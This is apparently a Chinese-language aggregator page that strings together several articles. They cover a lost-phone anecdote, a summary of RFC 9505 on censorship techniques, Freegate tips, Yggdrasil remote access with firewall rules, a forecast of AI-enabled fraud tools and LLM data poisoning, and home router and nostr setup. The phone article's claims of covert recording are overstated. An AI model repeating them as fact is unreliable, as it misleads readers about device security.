文: 中國法輪功學員, 來源：明慧網

周末晚上我帶孩子到公園籃球場打球，下車后一邊走一邊將手機往包里放。由於包不大，又是背著的，手機沒有放進包里掉到地上了。當時不知道，走出幾十米后一摸包發現手機沒了，趕緊回去找，有人說看到一個人撿到一個手機，我就借別人手機打自己的電話，但已經關機了。當天我趕緊將手機卡和相關信息凍結。

第二天我又買了同一牌子的手機，將手機卡重補上（還是原號碼），安裝到手機上之後，發現同一個牌子的手機用同一個手機卡號在其官網上就會將這個手機號碼所用過的全部手機顯示出來。我根據手機的「遠程定位鎖定設備功能」將撿到手機人的wifi地址記錄下來，他的面貌通過遠程照下來傳到我的手機上（手機有遠程定位及照相功能），然後聯繫到本人將手機要了回來。

寫出這些不是為了告訴大家如何將丟失的手機找回，而是告訴大家現在的手機有多不安全：

1、手機在沒插手機卡的情況下，「遠程定位鎖定功能」可以將你的手機自動連接到你家的wifi上（只要開機就自動連上）。

2、有手機卡的情況下，「遠程定位鎖定功能」可以直接操縱你的手機連到數據漫遊上。

3、手機被鎖定后，只要你開機，就可以自動照相，將照片傳到另一個手機上。

4、你這部手機里的聲音也會傳到另一個手機上。

而以上這些操作都是在你不知道的情況下完成的！

• 南昌法輪功學員、原南昌市血站護師付金鳳女士遭判刑入獄
• 獲刑4年6個月的遼寧撫順法輪功學員呂慶的案情及簡歷
• 美軍擬打造「地獄景象」 阻中共攻台；業界大佬：中國車企內卷嚴重 價格戰致造假；美應用程序製造假新聞 背後與中共牽連深；大連法輪功學員遭綁架抄家 ；4美國人吉林遇刺案，嫌疑人落網 【中國禁聞】
• 組圖：法輪功學員布拉格大遊行
• 獲刑5年的吉林市法輪功學員姜永芹女士的案情及簡歷

• 法國猶太老闆：神告訴我們，只有一位中國人能救人類
• 華人必看：中華文化的颶風 幸福感無法描述
• 解鎖ChatGPT|全平台高速翻牆:高清視頻秒開,超低延遲
• 免費PC翻牆、安卓VPN翻牆APP

通過這次找回手機的經歷，更加深了自己對手機安全性的認識。在此也給大家提個醒，千萬別抱僥倖心理，一定注意手機安全。

文檔中提到了中國審查技術的幾個方面：

1. DNS響應操作：在中國，對某些被審查的域名進行查詢會導致偽造的DNS響應。通過一個例子來演示，在中國查詢一個被審查和未被審查的域名會產生不同的結果：未被審查的域名沒有響應，而被審查的域名會返回一個偽造的IP地址。
2. 主動探測規避工具：中國已經開發出一種稱為”主動探測”或”主動掃描”的有效技術來識別使用規避工具的主機。這種方法涉及審查者使用規避協議發起通信，以確定主機是否運行此類工具。
3. 封鎖維基百科：截至2019年5月，中國已經封鎖了維基百科的所有語言版本。
4. 使用深度包檢測（DPI）：中國的防火長城（GFW），作為世界上最大的審查系統之一，使用DPI來識別HTTP和DNS上的受限內容。DPI用於向連接中注入TCP重置包和錯誤的DNS響應。
5. 網路斷連：2009年，在新疆地區發生騷亂期間，中國切斷了網路連接，以防止抗議活動的蔓延。
6. 手動過濾和自我審查：在中國，互聯網內容提供商（如谷歌或微博）需要獲得營業執照，其中包括簽署一份名為「中國互聯網行業自律公約」的「自願承諾」。不遵守可能會導致因違規內容而承擔責任。這導致了一種自我審查形式，不希望發布的內容不太可能被發布。
7. 對ESNI的HTTPS殘留審查：中國採用了3元組和4元組殘留審查機制的混合體，用於HTTPS與加密伺服器名稱指示（ESNI）的審查。
8. DNS中毒事件：2014年1月，一個實施不當的DNS中毒嘗試導致中國通過防火長城將所有請求重定向到單一域名，造成了重大的互聯網服務中斷。
9. 使用「大炮」：中國使用一種名為「大炮」的系統發起分散式拒絕服務（DDoS）攻擊，該系統與防火長城並列。這個系統將JavaScript代碼注入到中國某搜索引擎的網頁訪問中，劫持這些用戶代理向各種網站發送DDoS流量。

• 安東·戈雷爾金：屏蔽維基百科已有了法律依據 俄羅斯國家杜馬信息政策委員會副主席安東·戈雷爾金在其個人 Telegram 頻道表示，根據一項禁止 VPN 普及的新...
• CNET 因使用 AI 撰寫文章被維基百科降級為「總體上不可靠」來源
• 泰勒·斯威夫特榮獲《時代雜誌》2023年度人物；ChatGPT維基百科瀏覽最多；皮尤報告：大流行初期低收入美國人財富暴漲；12月6日【 #財經快報 】
• 維基基金會公布 2023 年英文維基百科最受歡迎的文章
• 美智庫稱寧德時代是下個華為！美議員曝光中共監視脅迫大學生！王毅赴美談多個議題；眾議院無首，民主黨為何憂中共趁虛而入？劉鶴退休仍監督財經委？馬斯克：維基百科改名捐十億；吉林通化氣爆釀1亡

• 法國猶太老闆：神告訴我們，只有一位中國人能救人類
• 華人必看：中華文化的颶風 幸福感無法描述
• 解鎖ChatGPT|全平台高速翻牆:高清視頻秒開,超低延遲
• 免費PC翻牆、安卓VPN翻牆APP

via: https://datatracker.ietf.org/doc/html/rfc9505.txt

• 真沒想到，「Google」的由來竟是因為一個錯誤
• 美國會議員介入 ： 要求Google及YouTube恢復《願榮光歸香港》
• Google Messages 的 RCS 聊天現在可編輯已發送的消息
• 震撼！Google「2500頁極機密文件」疑外流 總部認了
• Opera 與 Google Cloud 合作，利用 Gemini 模型為其瀏覽器 AI 提供支持

• 法國猶太老闆：神告訴我們，只有一位中國人能救人類
• 華人必看：中華文化的颶風 幸福感無法描述
• 解鎖ChatGPT|全平台高速翻牆:高清視頻秒開,超低延遲
• 免費PC翻牆、安卓VPN翻牆APP

位置：洛杉磯
中國電信 CN2 GIA
與 Google 直接對等 免費自動備份
免費快照
VPS 技術：KVM/KiwiVM
操作系統：32 或 64 位 Centos、Debian、Ubuntu
即時操作系統重載
IPv4：1 個專用地址
IPv6 支持：**否**
完全 root 訪問
從控制面板即時 RDNS 更新
無合同，隨時取消
嚴格自我管理，不支持
99.9% 正常運行時間保證

文：玉如

我一直用自由門上網，從來也沒有過上網不順利的經歷。

最近看到網上經常有網友談被封網有時一天或好幾天，可能是不知道自由門軟體可以點擊設置，然後看到有A,F,M三個通道，還有「代理模式」和「經典模式」這兩個選項，如果上網不順利，用滑鼠在這五個選項上從新任意選擇一下，然後點「確認」和「是」，往往就會在幾秒鐘內很快打開網站頁面就上去了。在此點贊設計這個軟體的開發者，真的是很鋒利，很厲害。

我有點急性子，做事情都比較快，如果有超過二十秒上網不順利，我就會這樣從新設置一下，馬上就上去了。我告訴給身邊的朋友，朋友說：「真好用，以前不知道」。

• 在大陸時，我主要靠自由門翻牆
• V2ray Shadowsocks SS前置代理+自由門翻牆教程
• 這樣使用自由門翻牆 快速穩定流暢 看動態網速度如同訪問國內
• 自由門翻牆推出7.55版
• 林志穎使用自由門翻牆照片驚現微博

• 法國猶太老闆：神告訴我們，只有一位中國人能救人類
• 華人必看：中華文化的颶風 幸福感無法描述
• 解鎖ChatGPT|全平台高速翻牆:高清視頻秒開,超低延遲
• 免費PC翻牆、安卓VPN翻牆APP

來源:正見網

關於 Yggdrasil網路

Yggdrasil 是一種新的實驗性緊湊路由方案，設計用於網狀或類似互聯網的網路。它主要是一種最短路徑方案，網路將嘗試找到最直接的路徑到目的地。

與今天許多網路上使用的結構化和通常層次化的路由方案相比，Yggdrasil是強烈的分散式和自動排列的。網路上的每個節點都由一個加密公鑰標識，在實現中，IPv6地址是從該密鑰生成的。網路拓撲是自適應的，旨在利用可用的任何鏈接，以提供所有網路參与者之間的完全路由能力。這是因為所有Yggdrasil節點都是路由器，共享路由知識並代表其他網路參与者轉發流量。

下表說明了傳統網路（如互聯網）和Yggdrasil網路之間的差異：

傳統網路 Yggdrasil

網路上所有流量的端到端加密 否 是

使用DHT共享分散式路由信息 否 是

具有密碼綁定的定址，沒有中央機構 否 是

節點知道其與其他節點的相對位置 否 是

移動定址隨設備移動而保持不變 否 是

拓撲圖在不同媒介上優雅擴展，如網狀 否 是

今天存在哪些問題？

我們今天所知的互聯網並不符合明確定義的拓撲結構。這在很大程度上是隨著互聯網的發展而發生的，越來越多的網路通過服務提供商之間的互聯安排「拼湊」在一起。缺乏明確定義的拓撲給我們帶來了一些不可避免的問題：

• 存儲「互聯網地圖」的路由表非常龐大且低效，因為每個提供商都必須傳遞有關所有其他提供商的IP前綴的信息
• 計算機實際上沒有辦法知道它在互聯網上相對於其他任何東西的位置 – 大多數計算機只知道一個「默認網關」
• 很難在不實際發送數據包的情況下檢查它從源到目的地的路徑

這些問題已經在一定程度上得到緩解（但並沒有真正解決）
–
與其在家中的計算機上保存全局路由表的副本相比，您的服務提供商代表您這樣做。您的計算機和網路設備只需配置為「將流量發送到上游」，並讓您的提供商決定流量的去向。這使您完全受制於您的ISP，他們可以將您的流量重定向到任何地方，並對其進行檢查、操作或攔截。

ISP網路通常具有結構化的設計，並且通常是層次化的，因此許多現有的路由協議都是根據此設計的。一些優化，如前綴聚合，用於嘗試減少提供商必鬚髮送到世界各地的路由條目數量。這些協議通常不適用於拓撲不明確或經常變化的網路
– 例如無線網狀網路，因此過去很難讓社區根據需要構建自己的無線網狀基礎設施。

Yggdrasil有什麼不同之處？

Yggdrasil在共享路由知識方面採取了非常不同的方法。與通過集中分配自治系統的路徑來分發地址範圍不同，Yggdrasil以分散式方式建立一個單一的全局網路拓撲。

使用生成樹提供同步，並允許節點分配一組樹坐標，這些坐標用於交換和建立引導和路徑設置消息。然後，節點通過網路設置到其鍵空間鄰居的路徑，有效地將網路排列成一個由公鑰排序的虛擬線。然後，中間節點使用這些路徑填充其路由表，使節點能夠將數據包轉發到更接近其目標公鑰的位置。

此外，節點可以使用生成樹路由進行路徑查找，以建立比通過鍵空間的路徑更短的路徑，然後切換流量會話到源路由。只要源路由路徑可用，通常更直接的源路由將繼續使用，並在源路由路徑中斷時回退到鍵空間路由。

使用加密簽名來保護樹公告、引導和路徑消息，防止篡改或偽造。

有什麼好處？

這種路由方案有許多好處：

• 設備只需要維護相對較少的狀態以便正常工作和轉發數據包 – 沒有任何Yggdrasil節點需要像BGP那樣維護「完整的路由表」，大多數節點總共只有少數幾個路由表條目
• 路徑會自動發現和建立，因此不需要手動配置路由條目 – 唯一需要配置的是節點之間的對等連接
• 網路可以快速建立和拆除路徑，而無需丟棄所有路由狀態，這在處理節點移動事件時有助於顯著減少丟包
• 我們可以輕鬆地將可靠/靜態網路與動態/非靜態網路橋接，而無需洪泛大量狀態
• 當任何兩個或更多個Yggdrasil節點相互連接時，網路會自動形成，即使這些連接完全是臨時的
• 稀疏的路由知識和僅有少量的協議流量應該意味著Yggdrasil能夠高效地擴展到非常大的網路

取代傳統的VPN

到目前為止，我最喜歡也是最常使用Yggdrasil的一個用例是從遠程位置（比如工作地點或我隨身攜帶的筆記本電腦所在的任何地方）訪問我的機器。最近，我主要關注的是通過VNC使用Yggdrasil連接到我家裡的iMac，而VNC恰好內置在macOS中。我發現Yggdrasil是一款出色的工具，它有效地取代了我對傳統VPN的需求。

使用Yggdrasil進行遠程訪問的一些優點包括：

• 端到端加密，為通常在開箱即用的情況下並不安全的協議（如VNC或FTP）提供傳輸安全性
• TCP-over-TCP性能優越 – 顯著優於OpenVPN或SSH轉發！
• 源可驗證性，可以根據源IPv6地址進行白名單驗證，並阻止其他所有人
• 可在網路的任何地方進行路由

端到端加密

所有通過Yggdrasil的隧道流量都在加密的「會話」中進行。當你試圖向該節點發送流量時，會在你和遠程節點之間建立一個會話。作為會話握手的一部分，你的公鑰加密密鑰被交換，這些密鑰用於對所有封裝的網路流量進行完全的端到端加密。

即使是純文本協議，在跨Yggdrasil網路傳輸時也會被加密，確保沒有中間路由器或對手可以窺探你的流量，使得像VNC這樣的協議更安全，因為它們本身可能並不安全。

這也意味著，你可以在Yggdrasil上發送和接收流量，而不必過於擔心在給定位置的網路的安全性。公共場所的開放Wi-Fi網路對於任何類型的連接安全性來說都是一場噩夢，因為它們通常沒有受到無線加密的保護，但是對於Yggdrasil來說，這並不是一個問題。

TCP-over-TCP性能

過去，我曾嘗試使用OpenVPN和SSH隧道作為一種回家的方法，通過在我的EdgeRouter

X上終止VPN連接。我的工作地點的網路允許在少數埠上進行出站TCP連接，並且在互聯網邊界完全丟棄UDP，因此我被限制在TCP模式下使用OpenVPN，而不是UDP模式。

對於傳輸少量信息，這種方法是可行的，但肯定不是特別好。OpenVPN並未對TCP流量進行任何優化，因此，對於任何對延遲敏感的內容，性能都很糟糕 – 回到我的iMac上的VNC根本無法使用。SSH轉發也沒有好多少。

相反，我在我的EdgeRouter

X上安裝了Yggdrasil，並將其作為網關來直接路由到我的家庭機器（這是未來博客文章的一個主題）。每個Yggdrasil節點都有一個路由的/64子網，這在我的情況下，使用iptables將NETMAP’d映射到我的家庭IPv6

ULA範圍。這實際上使我的整個家庭網路在Yggdrasil網路上可路由（即使是那些不知道Yggdrasil的設備或沒有安裝它的設備），只需遵守一些防火牆限制，我將在後面討論。

主要的好處在於，Yggdrasil使用LIFO隊列進行會話流量，並利用巨大的MTUs（如我之前的博客文章中所討論的）來減少TCP控制消息放大的影響，並改善擁塞處理。這使得在TCP
Yggdrasil對等連接上隧道TCP時，連接的可用性和穩定性得到了大大的改善 –
VNC的穩定性和響應性在這種設置下比在OpenVPN或SSH上得到了大大的改善。

防火牆和源可驗證性

當然，Yggdrasil網路上還有其他人，你不能確定他們是誰，或者他們可能是惡意的。因此，就像在互聯網上一樣，使用防火牆是明智的。源可驗證性在這裏特別有用，因為它使得只允許特定的機器通過你的防火牆發送流量，並將所有其他人排除在外變得相當容易。

在Yggdrasil中，你的IPv6地址與你的加密密鑰對直接關聯，因此，對你的密鑰對的任何更改都會導致你的IPv6地址隨之更改。當你生成一個配置（使用yggdrasil

-genconf）時，你實際上是在生成一個新的IPv6地址。只要你繼續在給定的機器上使用相同的Yggdrasil配置和相同的加密密鑰對，那麼該機器將永遠保持相同的Yggdrasil
IPv6地址。

這意味著我可以在我的EdgeRouter防火牆上創建一個白名單，除非它來自我已知的特定Yggdrasil
IPv6地址列表，比如我的工作電腦和我的筆記本電腦，否則我會丟棄指向我的網路的連接。任何來自這個白名單之外的地址的意外連接都會被丟棄，從網路上隱藏我的機器。

以下是我在我的EdgeRouter X上實現這個的一個例子：

set firewall group ipv6-address-group YGG_TRUSTED ipv6-address ‘xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx’

set firewall group ipv6-network-group YGG_TRUSTEDNETS ipv6-network ‘xxx:xxx:xxx::/48’

set firewall ipv6-name YGG_IN default-action drop

set firewall ipv6-name YGG_IN rule 10 action accept

set firewall ipv6-name YGG_IN rule 10 state established enable

set firewall ipv6-name YGG_IN rule 10 state related enable

set firewall ipv6-name YGG_IN rule 20 action drop

set firewall ipv6-name YGG_IN rule 20 state invalid enable

set firewall ipv6-name YGG_IN rule 30 action accept

set firewall ipv6-name YGG_IN rule 30 source group ipv6-address-group YGG_TRUSTED

set firewall ipv6-name YGG_IN rule 40 action accept

set firewall ipv6-name YGG_IN rule 40 source group ipv6-network-group YGG_TRUSTEDNETS

set firewall ipv6-name YGG_LOCAL default-action drop

set firewall ipv6-name YGG_LOCAL rule 10 action accept

set firewall ipv6-name YGG_LOCAL rule 10 state established enable

set firewall ipv6-name YGG_LOCAL rule 10 state related enable

set firewall ipv6-name YGG_LOCAL rule 20 action drop

set firewall ipv6-name YGG_LOCAL rule 20 state invalid enable

set firewall ipv6-name YGG_LOCAL rule 30 action accept

set firewall ipv6-name YGG_LOCAL rule 30 source group ipv6-address-group YGG_TRUSTED

set interfaces yggdrasil tun0 firewall in ipv6-name YGG_IN

set interfaces yggdrasil tun0 firewall local ipv6-name YGG_LOCAL

從整個網路路由

你不需要直接與一個節點進行對等連接就能遠程訪問它
–
你可以從Yggdrasil網路的任何地方路由流量。最好總是與地理位置接近你自己的節點進行對等連接，因為這有助於減少網路延遲。然而，你可以在一個新的位置（例如，使用筆記本電腦）設置，並連接到你最近的Yggdrasil節點，仍然能夠像以前一樣訪問你的機器。

結論

Yggdrasil已經證明是一種非常有能力的方法，可以遠程訪問我的家庭網路，並且非常正常化了所有網路流量都應該被加密並被視為私有的觀念，即使在連接安全性不能保證的地方也是如此。

https://yggdrasil-network.github.io/2018/07/15/remote-access.html

• 惠普強制更新BIOS 導致ProBook筆記本電腦「變磚」
• 消息人士：聯發科為微軟人工智慧筆記本電腦設計基於 Arm 的晶元
• 俄羅斯電子製造商向數字發展部提議禁止智能手機和筆記本電腦的平行進口
• 聯想展示了一款帶有透明屏幕的筆記本電腦
• 超過 1550 萬個東芝筆記本電腦電源適配器因火災隱患被召回

• 法國猶太老闆：神告訴我們，只有一位中國人能救人類
• 華人必看：中華文化的颶風 幸福感無法描述
• 解鎖ChatGPT|全平台高速翻牆:高清視頻秒開,超低延遲
• 免費PC翻牆、安卓VPN翻牆APP

來源： HERE

以 ChatGPT 為首的生成式 AI 應用潛力無限，但反過來說，用在駭客攻擊、網路詐騙同樣也令人擔憂。台灣資安廠商趨勢科技今天發表《2024 資安年度預測報告》，明確指出在生成式 AI 協助下， 例如變臉詐騙、魚叉式網路釣魚等網路詐諞能力已大幅提高！

趨勢科技指出生成式 AI 可以生成真實度更高的人臉、經歷以及對話能力，讓網路詐騙釣餌更具吸引力，得手機會大幅提升。根據FBI 指出社交工程技巧網路犯本來就是受害者數量最多的犯罪、也是最賺錢的手法之一，預期2024 年駭客會結合更多元的AI 工具（例如聊天機器人、偽造語音相互搭配），製造出如虛擬綁架更多重面向的威脅。

像是今年出現的駭客版ChatGPT「WormGPT」，以及後來出現的WolfGPT、FraudGPT 都屬此類，WormGPT、WolfGPT 可產生可用於實施網路犯罪的文字、程式碼和其他資料格式，FraudGPT 則是直接生成一個非常擬真的詐騙網頁誘人點擊。

另外生成式 AI 本身的安全性也是越來越嚴重的問題，大型語言模型（LLM）本身更容易遭遇「資料下毒」（data poisoning）。資料下毒簡單來說就是透過竄改學習資料，或是直接入侵模型的資料庫或流程架構內來惡意操弄LLM 的表現與行為，除了更容易生成有問題、充滿惡意的內容之外，還更可能導致LLM 泄漏出機密資料。

除了生成式AI 之外，趨勢科技也預測「蠕蟲自動化攻擊」會成為接下來駭客集團找到系統漏洞，攻擊雲端的首選武器，像今年微軟Azure AD 傳出存在OAuth 漏洞，或是上個月還有駭客透過GitHub 曝露的AWS 帳密進行EleKtra-Leak 攻擊。駭客只需成功攻擊出雲端一個漏洞，就能在雲端內迅速蔓延，並利用已感染的雲端原生工具攻擊更多受害者，被自動化收集企業機敏資料、建立龐大的幕後操縱（C&C）伺服器通訊，甚至發動大規模分散式阻斷服務（DDos）攻擊等。

• ChatGPT預測中國七大泡沫即將破裂 引熱議
• 蘋果將通過分銷而非現金支付ChatGPT費用
• 「當蘋果宣布與ChatGPT 合作后 ⋯ 為什麼？」No.08（06/11/24）
• 傳播觀察｜最新流出的「六四照片」被ChatGPT打假？
• 傳播觀察｜最新流出的"六四照片"被ChatGPT打假？

• 法國猶太老闆：神告訴我們，只有一位中國人能救人類
• 華人必看：中華文化的颶風 幸福感無法描述
• 解鎖ChatGPT|全平台高速翻牆:高清視頻秒開,超低延遲
• 免費PC翻牆、安卓VPN翻牆APP

來源：INSIDE

今年夏天的高溫天氣都快結束了，但家裡的網路卻越發卡頓。終於在一個工作日的晚上，我把光貓和 J1900 軟路由都拔電重啟了一下。重啟后發現，軟路由再也不肯工作，家裡就上不了網了。一番操作之後，確認了是軟路由罷工。好在幾年前淘汰下來的華碩 AC66U 還沒有扔掉，於是接上去替代了軟路由頂過了一天。

改造過程

我家裡的網路布局是光貓撥號，接 J1900 軟路由作為主路由，下面連接了 4 個組建了 Mesh 網路的 Linksys 路由器（開啟橋接模式）作為無線 AP。軟路由作為主路由的設置是最方便的，畢竟智能音箱的聯網和 Apple TV 看油管都需要走外網。但軟路由作為主路由也有不合理的地方，因為大多數設備都不需要聯外網。30 多個設備都通過軟路由走一遍，看起來不是經濟的選擇。J1900 這樣的 x86 軟路由發熱量比較大，在夏天穩定性下降也是個麻煩事。最近拔電重啟的頻率明顯增加，想不到這次拔電之後就再也起不來了。

於是趁著這個機會，乾脆還是試試旁路由。原本的 Linksys 路由器設置的是橋接模式，現在就改成了路由模式，作為主路由。把原來的軟路由刷機之後做成旁路由。目前 J1900 軟路由至少是固件有損壞，重啟數次，都不能正確運行。給這貨刷固件需要找 HDMI 線連接顯示器、找個 USB 鍵盤、找個 U 盤來協助寫固件，雖然這些東西家裡都有，但是折騰起來還是比較痛苦的，於是想乾脆還是買個友善 R4S 軟路由。我目前辦公室里在用一個 R2S 的軟路由，非常穩定，看了一下已經連續開機四百多天了，因此對這樣的 ARM 設備增加了信心（當然辦公室的氣溫和使用環境比家裡電視櫃要強多了）。另外，這友善的固件可以寫到 TF 卡里，而往 TF 卡寫固件比較方便，放在讀卡器里插到電腦里就行了。這期間也有朋友提到了給 Apple TV 刷 TVOS17 的測試版固件，然後裝某些 App 作為軟路由，但考慮到穩定性，還是買個 R4S 的專職軟路由可能更合適。於是有了這些操作：

• 將 Linksys 改成路由模式。這個比較簡單，Web 方式登錄路由器後台一鍵修改；
• 給 R4S 找個合適的 OpenWRT 固件。目前固件很多，也比較成熟了。
• 把 R4S 設置成旁路由模式。這個在油管上也有不少教程，我參考的是 洋蔥的教程 。
• 更改一些需要連接外網的設備的網路設置，包括電腦、Apple TV、Google Home、Amazon Echo Dot
  等等，把他們的網關和 DNS 都指向 R4S。但修改過程中發現智能音箱不支持修改網路設置，而 Linksys 也不能修改 DHCP 參數。研究了一番，只有關閉了 Linksys 主路由的 DHCP 功能，打開了 R4S 的 DHCP 功能。這樣一來，就算是入侵式的旁路由模式了。區域網內的流量都需要通過旁路由走一遍，看起來跟軟路由作為主路由沒有差別，但在穩定性上還是有一些好處，如果旁路由出問題了，打開主路由的 DHCP 功能就可以了。

於是形成了這樣的網路模式：

有待觀察的地方

• Linksys 在路由模式下其實是一個節點管理所有設備，目前對它的穩定性還沒有足夠的信心，只能先觀察一陣子。
• 目前 R4S 拖這麼多設備的信心也不是很足，穩定性也有待觀察，希望目前這個固件能夠重複出 R2S 的穩定性，動輒能連續開機一年以上。
  如果穩定性解決不了，可能得升級無線 AP 或者把 R4S 改成主路由，到時又是一番折騰。

• 人人都能看懂的旁路由入門指南

• 法國猶太老闆：神告訴我們，只有一位中國人能救人類
• 華人必看：中華文化的颶風 幸福感無法描述
• 解鎖ChatGPT|全平台高速翻牆:高清視頻秒開,超低延遲
• 免費PC翻牆、安卓VPN翻牆APP

來源：whyes.org

我們經常在各種文章和視頻裏面看到聽到「旁路由」這個詞，但並不清楚他究竟是何方神聖。其實「旁路由」這並不是一個嚴謹的詞彙，在官方的技術用語里，正確的叫法應該是「旁路網關」（為了方便，後續將依舊以旁路由為準）。

而所謂的「旁路網關」，是指掛靠在主路由網路下的一個旁系網路，他分擔了一部分路由器的功能，因此被大眾簡稱為「旁路由」，本質上它是一個通過 LAN 口與主路由連接的一個客戶端設備。

這種主旁路由構成的網路架構可以分成兩種，一種是發燒友在軟路由系統中，通過虛擬化的形式，安裝兩套路由系統，它們各司其職，在軟體層面上形成了主旁網路架構。另一種就是通過使用兩個實體路由器，通過連接和配置打造的硬體形式上的主旁網路結構。雖然他們形式上有一定區別，但這種雙路由系統（硬體或虛擬化）的網路布局，殊途同歸，最終目的都是為了將家庭網路帶寬進行合理的分配利用，並提供更強的擴展性，以實現更多強大的功能。

「旁路由」模式的優缺點

既然我們已經簡單了解了什麼是「旁路由」，那麼為什麼大家會使用這種方式來構建家庭網路呢？總結來說，旁路由的有以下優點：

• 可負載性——如果你的主路由硬體配置過低，無法承擔過重的擴展功能，那麼旁路由可以用來分擔主路由的壓力，既不影響網路速度，還可以一定程度優化網路體驗

• 可擴展性——旁路由可以在對當前的網路架構影響最小的情況下，擴展出新的功能，且在配置階段可以不影響他人使用網路，非常適合在城市裡合租的人員優化自己的網路

• 多功能性——旁路由同樣可以安裝各種插件，擴展出很多實用的功能，增強上網體驗，可以安裝的插件可以參照之前的文章用這些 OpenWRT 插件來武裝你的路由器

當然使用「旁路由」的時候也需要一定的網路基礎知識和額外的硬體成本支出，最重要的是你需要有耐心和動力去折騰改善家中的網路狀況，如果這些都不是問題，就可以開始動手了。

選購一個合適的「旁路由」？

適合做「旁路由」的設備很多，我們可以根據自身情況來挑選一個設備改造成「旁路由」，這裏總結了幾種方法供大家挑選：

• 家中淘汰不用的舊硬體設備改造，例如舊筆記本、台式機、NAS 等等

• 現成的路由器設備

• 具有網口或支持擴展網口的開發板，例如樹莓派，nano 派等等

• 直接在電商平台購買

這些方法都可以讓你擁有一個「旁路由」，其中直接在電商平台購買最為簡單，商家可能還會指導你進行配置，其次是使用路由器作為旁路由，改造成本也比較低低，最複雜的是利用舊的硬體設備和開發板，不僅對使用者的技術要求相對較高，也需要一定的時間成本，大家可以酌情選擇合適的方案，但總體來看旁路由消耗的金錢成本並不高。

如何配置「旁路由」？

選擇好了「旁路由」設備后，我們就需要配置它了。根據不同的「旁路由」設備，配置的方法也有很多種，這裏就不一一贅述，主要介紹兩種配置和操作都相對簡單，且對當前網路構造影響最小的方案。

方案一： 設備自行選擇網關設備

這套方案配置方法非常簡單，可以在不影響當前網路的情況下進行配置，配置完成後，不同的設備只需要自己在設備中修改網路信息就可以自行選擇使用「主路由」或者「旁路由」上網，非常適合「X漂」人士改造自己合租屋的網路，只讓自己的設備使用「旁路由」。具體的網路架構圖如下：

他的配置和使用方式很簡單，只需要以下幾個步驟：

• 旁路由設備的 LAN 口連接主路由的 LAN 口，然後進入旁路由的配置界面
• 以 OpenWRT 系統為例，進入「網路」-「介面-「 LAN 口」，在設置中「協議」選擇「靜態地址」，然後 「IPv4 地址」設置為 「192.168.1.x」（與主路由網段相同但不衝突）
• 「IPv4 網關」填寫主路由 IP（192.168.1.1），DNS 設置為主路由IP，DHCP伺服器填勾選忽略介面
• 需要使用「旁路由」的設備，只需要將網路設置中的「網關」和「DNS」填寫成「旁路由」的IP（192.168.1.x）即可
• 需要管理「旁路由」時，在瀏覽器輸入「旁路由」的 IP（192.168.1.x）即可進入管理頁面

路由器配置詳情可參考下圖：

方案二： 所有設備通過旁路由聯網

第二個方案， 「旁路由」需要開啟強制使用 DHCP，所有設備的網路流量都將通過旁路由，無需對網路內的設備進行單獨設置，也無需修改光貓和主路由的設置，對當前網路的影響也較小，但需要重啟路由器讓配置生效，這個方案適合無需擔心網路影響他人的使用。

方案的配置也不複雜，相關步驟如下：

• 前兩步與方案一相同，第三步中「IPv4 網關」依舊填寫主路由 IP（192.168.1.1），DNS 設置為主路由IP，但要勾選 「動態 DHCP」，並勾選「強制」選項

• 在「DHCP 伺服器」設置中，「IPv4?子網掩碼」設置為 「255.255.255.0」，「DHCP選項」 分別填寫「3,192.168.1.x」與「 6,192.168.1.x」（IP 地址為你旁路由的 IP 地址）
• 設置完成後，重啟「旁路由」和「主路由」即可
• 如果不再使用「旁路由」，只需要斷開網線連接，並重啟「主路由」，網路將重新由「主路由」接管，無需改動其他配置

路由器配置詳情可參考下圖：

「旁路由」有那些的功能

「旁路由」的在功能上其實和所有路由器的功能一致，像使用頻率非常高的過濾廣告、簡易NAS、離線下載、自建

DNS、等等功能都能夠支持，這裏就不做詳細的展開，大家有興趣可以看看筆者之前寫過的文章，文章中提到的路由器的功能，你都可以在「旁路由」中實現，只要你選擇一個合適的「旁路由」系統即可，比如支持「koolshare軟體中心」的路由系統，他的可玩性完全取決你的需求，這裏就不一一展開。

尾巴

這些年有關路由器的各種文章教程層出不窮，無數的極客開始從家庭網路的中心——路由器進行網路的優化改造，讓它不僅能承載家庭中越來越多的網路設備，更延申出了更多豐富多彩的功能，讓智能生活真正的走進每個人家中。之所以出現這種情況，除了互聯網越來越豐富，人們的需求越來越多樣，還有一個很重要的原因就是一家不得不提的「硬體」廠商——斐訊，他給廣大的極客提供了數量極大且質量尚佳的硬體設備，比如路由器

K2p、盒子N1、智能插座TC1等等，雖然斐訊廠商並沒有成為智能硬體設備的龍頭，甚至走向了消亡，但是他遺留下來的各種硬體，在廣大極客的手上卻持續發光發熱，形成了成熟的社區，讓那些科技小白也能享受到智能硬體帶來的切實的生活質量的提升，或許這就是真正的「科技改變生活」吧

• 家庭網路改造記錄：旁路由

• 法國猶太老闆：神告訴我們，只有一位中國人能救人類
• 華人必看：中華文化的颶風 幸福感無法描述
• 解鎖ChatGPT|全平台高速翻牆:高清視頻秒開,超低延遲
• 免費PC翻牆、安卓VPN翻牆APP

via sspai.com

nostr 是一個相當簡單的開放協議，可以在全球範圍內搭建一個有趣的社交網路。因為協議本身很簡單，所以大部分的加密、簽名工作在客戶端完成，而中繼伺服器 Relay 所做的事情只是接收事件消息，根據客戶端訂閱要求返回消息。

目前 relay 的實現也很多，比如 nostream 的搭建就很方便，只要安裝好 docker，設置好域名，直接運行就可以啦。

以下記錄一下 Relay 的搭建過程。

1. 安裝基礎軟體

首先分配一台安裝 Ubuntu Server 20.04 LTS Ubuntu Server 20.04 LTS 操作系統的虛擬機，默認規格就夠了。

首先，更新軟體包列表。提示 30 個軟體包需要升級，暫時先不管。

kimim@nostr:~$ sudo apt update

# update package list from mirrors
Fetched 25.5 MB in 4s (6240 kB/s)
Reading package lists… Done
Building dependency tree… Done
Reading state information… Done
30 packages can be upgraded. Run ‘apt list –upgradable’ to see them.

然後，安裝以下軟體包，用來運行編譯 nostream，配置 relay 的證書。

kimim@nostr:~$ sudo apt install nodejs npm nginx certbot python3-certbot-nginx

# list of packages need to be installed
0 upgraded, 410 newly installed, 0 to remove and 30 not upgraded.
Need to get 168 MB of archives.
After this operation, 669 MB of additional disk space will be used.
Do you want to continue? [Y/n] Y
# installation in progress

2. 安裝 docker

接下來，安裝 docker，因為根據 nostream 官網要求，需要安裝官方的 docker。就是按照 https://docs.docker.com/engine/install/ubuntu/ 安裝 docker。

首先，刪除已經安裝的 docker（如果有，我的這台機器剛初始化，所以沒有安裝 docker）。

kimim@nostr:~$ sudo apt-get remove docker.io
Reading package lists… Done
Building dependency tree… Done
